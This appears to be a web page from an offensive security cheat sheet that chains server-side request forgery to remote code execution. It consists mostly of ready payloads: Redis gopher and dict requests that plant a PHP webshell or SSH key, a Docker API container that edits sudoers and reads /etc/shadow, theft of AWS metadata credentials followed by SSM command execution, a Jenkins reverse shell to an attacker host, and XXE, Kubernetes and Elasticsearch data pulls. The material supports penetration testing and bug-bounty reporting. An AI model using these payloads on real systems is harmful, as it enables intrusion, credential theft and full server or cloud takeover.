Skip to content

SSRF → RCE

From making server requests to executing code.

Overview

SSRF → Internal Service → Exploit → RCE
       Redis/Memcached   → Webshell / SSH key
       Docker API        → Container escape
       Cloud metadata    → IAM creds → RCE
       FastCGI           → PHP execution
       Jenkins           → Groovy console

Chain 1: SSRF → Redis → RCE

Requirements: Redis on 6379, no auth, write access to web/ssh dir

Via Gopher (Webshell)

# Generate with Gopherus
python gopherus.py --exploit redis

# Manual payload
gopher://127.0.0.1:6379/_*3%0D%0A$3%0D%0ASET%0D%0A$5%0D%0Ashell%0D%0A$31%0D%0A<?php system($_GET['cmd']); ?>%0D%0A*4%0D%0A$6%0D%0ACONFIG%0D%0A$3%0D%0ASET%0D%0A$3%0D%0Adir%0D%0A$13%0D%0A/var/www/html%0D%0A*4%0D%0A$6%0D%0ACONFIG%0D%0A$3%0D%0ASET%0D%0A$10%0D%0Adbfilename%0D%0A$9%0D%0Ashell.php%0D%0A*1%0D%0A$4%0D%0ASAVE%0D%0A

Via Dict Protocol

dict://127.0.0.1:6379/CONFIG%20SET%20dir%20/var/www/html
dict://127.0.0.1:6379/CONFIG%20SET%20dbfilename%20shell.php
dict://127.0.0.1:6379/SET%20x%20"<?php system($_GET['cmd']); ?>"
dict://127.0.0.1:6379/SAVE

SSH Key Injection

gopher://127.0.0.1:6379/_CONFIG SET dir /root/.ssh
CONFIG SET dbfilename authorized_keys
SET x "\n\nssh-rsa AAAA... attacker@host\n\n"
SAVE

Chain 2: SSRF → Docker API → RCE

Requirements: Docker API on 2375/2376, no TLS auth

# List containers
GET http://127.0.0.1:2375/containers/json

# Create privileged container with host mount
POST http://127.0.0.1:2375/containers/create
Content-Type: application/json

{
  "Image": "alpine",
  "Cmd": ["/bin/sh", "-c", "echo 'attacker ALL=(ALL) NOPASSWD:ALL' >> /mnt/etc/sudoers"],
  "Binds": ["/:/mnt"],
  "Privileged": true
}

# Start container
POST http://127.0.0.1:2375/containers/{id}/start

# Execute command
POST http://127.0.0.1:2375/containers/{id}/exec
{"Cmd": ["cat", "/mnt/etc/shadow"]}

Chain 3: SSRF → FastCGI → RCE

Requirements: PHP-FPM on 9000, known PHP file path

# Generate with Gopherus
python gopherus.py --exploit fastcgi

# Enter PHP file: /var/www/html/index.php
# Enter command: id
# Get gopher URL

Chain 4: SSRF → AWS Metadata → RCE

Requirements: EC2 with IAM role, IMDSv1 enabled

Step 1: Get Credentials

# Get role name
http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Get credentials
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME

# Returns:
{
  "AccessKeyId": "ASIA...",
  "SecretAccessKey": "...",
  "Token": "..."
}

Step 2: Use Credentials for RCE

# Configure AWS CLI
export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...

# Check permissions
aws sts get-caller-identity

# Lambda RCE
aws lambda list-functions
aws lambda invoke --function-name X output.txt

# EC2 SSM RCE
aws ssm send-command --instance-ids i-xxx \
  --document-name "AWS-RunShellScript" \
  --parameters 'commands=["whoami"]'

# S3 secrets
aws s3 ls
aws s3 cp s3://bucket/secrets.env .

IMDSv2 Bypass

# Needs token
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
  http://169.254.169.254/latest/meta-data/

Chain 5: SSRF → Jenkins → RCE

Requirements: Jenkins on 8080 with script console enabled

# Access script console
GET http://127.0.0.1:8080/script

# Execute Groovy
POST http://127.0.0.1:8080/script
script=println "whoami".execute().text

# Reverse shell
POST http://127.0.0.1:8080/script
script=["bash","-c","bash -i >& /dev/tcp/attacker/4444 0>&1"].execute()

Chain 6: SSRF → Memcached → Session Injection

Requirements: Memcached on 11211, app uses memcached sessions

# Inject serialized session
dict://127.0.0.1:11211/set session:admin 0 3600 [length]
[serialized_object]

# Or cache poisoning for XSS
dict://127.0.0.1:11211/set cached_page 0 3600 50
<script>alert(document.cookie)</script>

Chain 7: XXE → SSRF → RCE

Combine XXE with SSRF bypass techniques

<!-- XXE to metadata -->
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin">]>
<foo>&xxe;</foo>

<!-- XXE to Redis via gopher -->
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "gopher://127.0.0.1:6379/_INFO">]>

<!-- XXE with IP bypass -->
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://2130706433/">]>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://127.0.0.1.nip.io/">]>

Chain 8: SSRF → Internal Git → Source Code → RCE

# GitLab/GitHub Enterprise
http://127.0.0.1:3000/api/v4/projects
http://127.0.0.1:3000/user/repo/raw/master/.env

# Find secrets in source → Use for RCE
# - Database creds → SQLi → RCE
# - API keys → Cloud access
# - SSH keys → Direct access

Chain 9: SSRF → Kubernetes → RCE

# Kubelet API
http://127.0.0.1:10250/pods
http://127.0.0.1:10250/run/{namespace}/{pod}/{container}

# etcd (cluster secrets)
http://127.0.0.1:2379/v2/keys/

# Kubernetes API
http://127.0.0.1:8443/api/v1/namespaces/default/secrets

Chain 10: SSRF → Elasticsearch → Data + RCE

# Data exfil
http://127.0.0.1:9200/_cat/indices
http://127.0.0.1:9200/_search?q=password
http://127.0.0.1:9200/users/_search

# RCE (old versions)
POST http://127.0.0.1:9200/_search
{"script_fields":{"exp":{"script":"Runtime.getRuntime().exec('id')"}}}

SSRF → Cloud Metadata → OAuth Token Forge

From synthesis: SSRF bypass → metadata → IAM with OAuth permissions

# 1. SSRF to metadata
http://169.254.169.254/latest/meta-data/iam/security-credentials/

# 2. IAM role has secrets manager access
aws secretsmanager list-secrets
aws secretsmanager get-secret-value --secret-id oauth-client-secret

# 3. Forge OAuth tokens with stolen client secret

Impact Table

SSRF Target Chain Impact
Blind SSRF → DNS exfil Low
Read internal → Source code Medium
Redis → Webshell Critical
Docker API → Host escape Critical
AWS metadata → Cloud takeover Critical
Jenkins → CI/CD RCE Critical
Kubernetes → Cluster takeover Critical

PoC Template

## Summary
SSRF in [endpoint] chains to RCE via [internal service].

## Chain
1. SSRF allows requests to internal network
2. [Service] accessible on [port]
3. Using [protocol/technique], RCE achieved

## Steps
1. Send SSRF payload: `[URL]`
2. Access internal service: `[command]`
3. Execute code: `[payload]`

## Impact
Full server compromise via SSRF → [Service] → RCE.

CVSS: 9.8 (Critical)

Related: XSS to ATO | OAuth to ATO